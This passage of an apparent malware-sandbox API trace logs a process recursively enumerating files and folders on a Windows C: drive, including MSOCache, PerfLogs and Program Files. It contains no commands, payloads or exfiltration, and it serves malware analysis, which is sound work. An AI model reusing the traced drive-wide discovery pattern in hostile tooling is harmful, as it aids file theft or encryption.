ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0047.308] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.308] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.308] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0047.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.308] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.308] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0047.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5931a0 [0047.309] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.309] FindNextFileW (in: hFindFile=0x5931a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0047.365] FindClose (in: hFindFile=0x5931a0 | out: hFindFile=0x5931a0) returned 1 [0047.365] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37e0068 | out: hHeap=0xb80000) returned 1 [0047.365] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0047.366] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.366] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.366] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0047.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.367] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.367] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0047.368] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.395] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.395] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0047.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.406] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.406] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0047.407] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.407] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.407] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0047.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.412] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.412] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0047.412] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.413] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.413] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0047.413] FindClose (in: hFindFile=0x593120 | out: hFindFile=0x593120) returned 1 [0047.413] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.414] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0047.415] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.415] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11a6fa0 | out: hHeap=0xb80000) returned 1 [0047.415] FindNextFileW (in: hFindFile=0x58bba0, lpFindFileData=0x2d5fc98 | out: lpFindFileData=0x2d5fc98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0047.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.415] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0047.415] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Admin", cAlternateFileName="")) returned 1 [0047.415] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.416] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.416] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0047.416] FindClose (in: hFindFile=0x593120 | out: hFindFile=0x593120) returned 1 [0047.416] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.416] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Admin", cAlternateFileName="")) returned 0 [0047.416] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.416] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11a6fa0 | out: hHeap=0xb80000) returned 1 [0047.416] FindNextFileW (in: hFindFile=0x58bba0, lpFindFileData=0x2d5fc98 | out: lpFindFileData=0x2d5fc98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0047.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.416] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7d395cd0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x7d395cd0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0047.417] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0047.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.417] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.417] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0047.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593160 [0047.418] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.418] FindNextFileW (in: hFindFile=0x593160, lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0047.418] FindClose (in: hFindFile=0x593160 | out: hFindFile=0x593160) returned 1 [0047.418] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.418] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0047.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2d5f50c | out: lpFindFileData=0x2d5f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, 